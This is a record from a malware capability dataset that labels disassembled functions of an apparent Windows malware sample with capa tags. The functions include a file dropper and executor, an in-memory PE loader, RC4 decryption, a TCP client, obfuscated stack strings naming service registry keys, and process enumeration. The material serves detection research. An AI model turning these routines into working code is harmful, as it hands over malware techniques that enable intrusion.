joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401226
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
jmp 0x405000
sub esp, 0x150
push esi
lea eax, [esp + 0x50]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov al, 0x45
mov byte [esp + 0xc], 0x5c
mov byte [esp + 0xd], 0x52
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], 0x25
mov byte [esp + 0x10], 0x64
mov byte [esp + 0x11], 0x2e
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x58
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0x64]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405121
mov ecx, dword [esp + 0x15c]
mov edx, dword [esp + 0x158]
lea eax, [esp + 0x18]
push 0
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x160], 2
je 0x405121
mov ecx, dword [0x410320]
lea eax, [esp + 0x50]
push 0x2e
push eax
call fcn.004011e5
test eax, eax
je 0x405121
lea ecx, [esp + 0x50]
mov byte [esp + 4], 0x6f
push ecx
mov byte [esp + 9], 0x70
mov byte [esp + 0xa], 0x65
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405121
push 5
push 0
lea edx, [esp + 0x58]
push 0
lea eax, [esp + 0x10]
push edx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop esi
add esp, 0x150
ret 0xc

Function at 0x401244
Capabilities:
Set socket configuration

Disassembly:
jmp 0x403040
push ecx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, ecx
push 0
call edi
push 0
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0
call edi
mov edx, dword [esi + 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
call edi
lea eax, [esi + 0xb0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call edi
mov edx, dword [esi + 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret
Function at 0x401249
Capabilities:
Initialize winsock library

Disassembly:
jmp 0x401e70
push 0xffffffffffffffff
push 0x40c058
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.004010a5
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1ac], 0
call fcn.004010a5
lea ecx, [esi + 0x54]
mov byte [esp + 0x1ac], 1
call fcn.004010a5
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1ac], 2
call fcn.004010a5
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov byte [esp + 0x1b0], 3
mov dword [esi], 0x40e02c
call edi
lea eax, [esp + 0x14]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
call edi
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [esi + 0xac], eax
mov byte [esi + 0xb0], 0
call edi
lea ecx, [esp + 8]
push 5
mov dword [esi + 0xa8], 0xffffffff
push ecx
mov ecx, dword [0x410320]
push 0x40fcb0
mov byte [esp + 0x14], 0x45
mov byte [esp + 0x15], 0x43
mov byte [esp + 0x16], 0x42
mov byte [esp + 0x17], 0x44
mov byte [esp + 0x18], 0x41
call fcn.00401037
mov ecx, dword [0x410320]
push 0x4104c4
call fcn.00401046
mov ecx, dword [0x410320]
push eax
push 0x4104c4
push 0x40febc
call fcn.00401064
mov ecx, dword [esp + 0x1a4]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a8
ret
Function at 0x401262
Capabilities:
Parse pe header

Disassembly:
jmp 0x405400
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0
call ebp
mov edi, dword [esp + 0x18]
push 0
mov byte [edi], 0x4d
mov byte [edi + 1], 0x5a
call ebp
cmp word [edi], 0x5a4d
je 0x40542d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [edi + 0x3c]
push 0
add edi, edx
call ebp
cmp dword [edi], 0x4550
je 0x405446
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
push 0
mov ebx, eax
call ebp
test ebx, ebx
jne 0x405481
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push ebx
call esi
mov ebx, eax
test ebx, ebx
jne 0x405481
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
call ebp
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push eax
mov dword [esi + 4], ebx
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
call ebp
mov eax, dword [edi + 0x50]
push 4
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov dword [esp + 0x10], eax
add edx, dword [ecx + 0x3c]
push edx
push ecx
mov ecx, dword [0x410320]
push eax
call fcn.00401037
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push 0
add eax, dword [ecx + 0x3c]
mov dword [esi], eax
call ebp
mov edx, dword [esi]
push 0
mov dword [edx + 0x34], ebx
call ebp
mov eax, dword [esp + 0x18]
push esi
push edi
push eax
call fcn.00405610
mov ecx, dword [edi + 0x34]
add esp, 0xc
mov eax, ebx
sub eax, ecx
push 0
mov dword [esp + 0x1c], eax
call ebp
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405533
push eax
push esi
call fcn.004058a0
add esp, 8
push 0
call ebp
push esi
call fcn.00405980
add esp, 4
test eax, eax
je 0x405571
push esi
call fcn.00405740
add esp, 4
push 0
call ebp
mov ecx, dword [esi]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x405589
add eax, ebx
test eax, eax
je 0x405571
push 0
push 1
push ebx
call eax
push 0
mov edi, eax
call ebp
test edi, edi
jne 0x405582
push esi
call fcn.00401113
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401271
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x406610
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x40669c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x40663b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x406658
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x406686
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x40662a
pop ebp
pop ebx
pop edi
pop esi
ret 0xc

Function at 0x4012cb
Capabilities:
Create thread

Disassembly:
jmp 0x40a3f0
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x30]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x401082
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x4021ae
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c0d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
push 0
call esi
push 0
mov dword [ebp - 4], 0
call esi
lea eax, [ebp - 0x18]
push 0x40e3a8
push eax
mov dword [ebp - 0x18], 0x28
call sub.MSVCRT.dll__CxxThrowException
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x4021da
mov eax, 0x4021c5
ret
push 0
call esi
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x402200
mov eax, 0x4021eb
ret
mov edi, dword [ebp - 0x1c]
mov ecx, edi
call fcn.00401244
mov ecx, dword [edi + 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
mov byte [edi + 0xb0], 0
call esi
mov eax, dword [0x40fcb8]
test eax, eax
je 0x402250
cmp eax, 4
je 0x402250
cmp eax, 5
je 0x402250
mov eax, 0x40223b
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [edi + 0xa8], eax
call esi
cmp dword [edi + 0xa8], 0xffffffff
jne 0x40228e
push 0
call esi
mov eax, 0x402279
ret
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0
mov ebx, eax
call esi
test ebx, ebx
jne 0x4022ba
mov eax, 0x4022a5
ret
push 0
mov word [ebp - 0x38], 2
call esi
mov eax, dword [0x40fcb8]
test eax, eax
je 0x4022d7
mov dx, word [0x40f410]
push edx
jmp 0x4022db
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [ebp - 0x36], ax
call esi
mov ecx, dword [ebx + 0xc]
push 0
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x34], eax
call esi
mov edx, dword [edi + 0xa8]
lea ecx, [ebp - 0x38]
push 0x10
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40232a
mov eax, 0x402315
ret
push 0
call esi
cmp dword [0x40fcb8], 5
jne 0x402369
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
mov ecx, edi
call fcn.0040129e
test al, al
jne 0x402369
push 0
call esi
mov eax, 0x402354
ret
mov ebx, 1
push 0
mov dword [ebp - 0x14], ebx
call esi
mov eax, dword [edi + 0xa8]
lea edx, [ebp - 0x14]
push 4
push edx
push 8
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4023cf
push eax
call esi
push 0
mov dword [ebp - 0x28], ebx
call esi
mov eax, dword [edi + 0xa8]
push 0
lea ecx, [ebp - 0x14]
push 0
push ecx
push 0
push 0
lea edx, [ebp - 0x28]
push 0xc
push edx
push 0x98000004
push eax
mov dword [ebp - 0x24], 0xea60
mov dword [ebp - 0x20], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
call esi
push ebx
push 0
push 0
push edi
push 0x40105f
push 0
push 0
mov byte [edi + 0xb0], 1
call fcn.004012cb
mov dword [edi + 0xa4], eax
add esp, 0x1c
mov eax, 0x4023fd
ret
Function at 0x403a8d
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c180
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
push 0x40e3a8
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0x51
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [0x4104c0]
mov cl, byte [0x4104b0]
mov dl, byte [0x4104a0]
mov dword [ebp - 0x14], 0
mov esi, dword [eax*4 + 0x4104b4]
mov eax, dword [0x410174]
test eax, eax
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x1c], dl
jne 0x403bf1
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401131
add esp, 4
push 0x410070
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x403b03
push 1
push 0x410070
call fcn.004012ad
add esp, 8
mov eax, 0x403af0
ret
push 0
push 0x80
push 3
push 0
push 0
push connect
push 0x410070
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x410064], eax
jne 0x403b52
push 1
push 0x410070
call fcn.004012ad
add esp, 8
mov eax, 0x403b3f
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x41005c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x41005c]
push 0
push 0x410060
push edx
mov dword [0x41006c], eax
push eax
mov eax, dword [0x410064]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x410064]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x41005c]
mov eax, dword [0x41006c]
push str.DF04A
push edx
push eax
call fcn.00401014
mov ecx, dword [0x41006c]
push ecx
call fcn.00401262
add esp, 0x10
mov dword [0x410068], eax
test eax, eax
jne 0x403be5
mov eax, 0x403bd2
ret
mov dword [0x410174], 1
jmp 0x403bf6
mov eax, dword [0x410068]
mov edx, dword [ebp + 0x10]
push edx
push eax
call fcn.004011fe
add esp, 8
test eax, eax
je 0x403c31
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x20]
push esi
push edx
mov edx, dword [0x40f434]
push ecx
mov ecx, dword [ebp + 8]
push 0x4104c4
push edx
push 0x410180
push ecx
call eax
add esp, 0x20
mov dword [ebp - 0x14], eax
mov eax, 0x403c37
ret
Function at 0x4047a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c190
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x430
push ebx
push esi
push edi
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x10], esp
push 0x40e3a8
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x3c], 0x13
call sub.MSVCRT.dll__CxxThrowException
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x43b]
mov byte [ebp - 0x43c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x43c]
mov dl, 0x53
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [ebp - 0x2d], al
mov byte [ebp - 0x22], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x19], al
mov byte [ebp - 0x2f], cl
mov byte [ebp - 0x2e], cl
mov byte [ebp - 0x26], cl
mov byte [ebp - 0x1d], cl
mov ecx, dword [ebp + 8]
mov al, 0x73
mov byte [ebp - 0x38], dl
mov byte [ebp - 0x36], dl
mov byte [ebp - 0x23], dl
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x18], al
mov byte [ebp - 0x15], al
lea edx, [ebp - 0x38]
push ecx
lea eax, [ebp - 0x43c]
mov bl, 0x74
push edx
push eax
mov byte [ebp - 0x37], 0x59
mov byte [ebp - 0x35], 0x54
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x5c
mov byte [ebp - 0x31], 0x43
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0x43
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x6e
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x1c], 0x76
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x17], 0x5c
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x14], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [ebp + 0x10]
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp + 0xc]
push eax
push esi
push 1
lea edx, [ebp - 0x43c]
push ecx
push edx
push connect
call fcn.00401177
add esp, 0x1c
mov eax, 0x4048a3
ret
Function at 0x405610
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
mov ebp, dword [ebx + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call edi
mov eax, dword [ebx]
xor ecx, ecx
push 0
mov cx, word [eax + 0x14]
lea esi, [ecx + eax + 0x18]
call edi
mov edx, dword [ebx]
mov dword [esp + 0x10], 0
cmp word [edx + 6], 0
jbe 0x4056ed
add esi, 0x10
push 0
call edi
cmp dword [esi], 0
jne 0x405693
mov eax, dword [esp + 0x1c]
push 0
mov ebx, dword [eax + 0x38]
call edi
test ebx, ebx
jle 0x4056cd
mov ecx, dword [esi - 4]
push 4
push 0x1000
add ecx, ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4056c7
mov ecx, dword [esi - 4]
mov eax, dword [esi]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [esi]
mov ecx, dword [0x410320]
mov edi, eax
mov eax, dword [esi + 4]
push edx
mov edx, dword [esp + 0x1c]
add eax, edx
push eax
push edi
call fcn.00401037
mov dword [esi - 8], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40564e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x405740
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
push ebp
push esi
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
push edi
mov eax, dword [esi]
push 0
mov cx, word [eax + 0x14]
lea edi, [ecx + eax + 0x18]
call ebp
mov edx, dword [esi]
mov dword [esp + 0xc], 0
cmp word [edx + 6], 0
jbe 0x40583d
push ebx
lea esi, [edi + 0x24]
mov eax, dword [esi]
push 0
mov edi, eax
mov ebx, eax
shr edi, 0x1d
shr ebx, 0x1e
shr eax, 0x1f
and edi, 1
and ebx, 1
mov dword [esp + 0x18], eax
call ebp
test dword [esi], 0x2000000
je 0x4057b3
mov eax, dword [esi - 0x14]
mov ecx, dword [esi - 0x1c]
push 0x4000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40581c
mov eax, dword [esp + 0x14]
lea edx, [ebx + edi*2]
push 0
lea ecx, [eax + edx*2]
mov ebx, dword [ecx*4 + 0x40f468]
call ebp
test dword [esi], 0x4000000
je 0x4057d3
or bh, 2
mov edi, dword [esi - 0x14]
push 0
call ebp
test edi, edi
jne 0x4057ff
push edi
call ebp
mov eax, dword [esi]
test al, 0x40
je 0x4057f2
mov edx, dword [esp + 0x20]
mov eax, dword [edx]
mov edi, dword [eax + 0x20]
jmp 0x4057ff
test al, 0x80
je 0x4057ff
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
mov edi, dword [edx + 0x24]
push 0
call ebp
test edi, edi
jbe 0x40581c
push 0
call ebp
mov ecx, dword [esi - 0x1c]
lea eax, [esp + 0x18]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov ecx, dword [edx]
xor edx, edx
mov dword [esp + 0x10], eax
mov dx, word [ecx + 6]
cmp eax, edx
jl 0x405779
pop ebx
pop edi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x409aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x12c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0
call ebp
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
stosb byte es:[edi], al
call ebp
mov dl, 0x53
mov cl, 0x72
mov al, 0x65
mov bl, 0x74
push 0
mov byte [esp + 0x14], dl
mov byte [esp + 0x15], 0x59
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x54
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x5c
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x43
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x5c
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x76
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x33], al
mov byte [esp + 0x34], 0x73
mov byte [esp + 0x35], 0x5c
mov byte [esp + 0x36], 0
call ebp
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x38]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40f638
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
lea eax, [esp + 0x34]
lea ecx, [esp + 0x38]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
pop ebp
pop ebx
test eax, eax
jne 0x409c0a
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0x12c
ret
xor eax, eax
add esp, 0x12c
ret
Function at 0x40a4cd
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c1f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
push 0x40e3a8
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0x43
call sub.MSVCRT.dll__CxxThrowException
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
push 0x128
mov dword [ebp - 0x14], ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push 0
mov dword [esi], 0x128
call edi
push esi
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40a57c
push 0
call edi
mov ecx, dword [ebp + 8]
lea ebx, [esi + 0x24]
push ecx
mov ecx, dword [0x410320]
push ebx
call fcn.00401221
test eax, eax
jne 0x40a54d
mov edx, dword [esi + 8]
push esi
mov dword [ebp + 8], edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 0x40a539
ret
mov eax, dword [ebp - 0x14]
push esi
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40a57c
push 0
call edi
mov ecx, dword [ebp + 8]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40a599
mov edx, dword [ebp - 0x14]
push esi
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40a55b
push 0
call edi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 0x40a5c2
ret
mov eax, dword [esi + 8]
push esi
mov dword [ebp + 8], eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 0x40a5ae
ret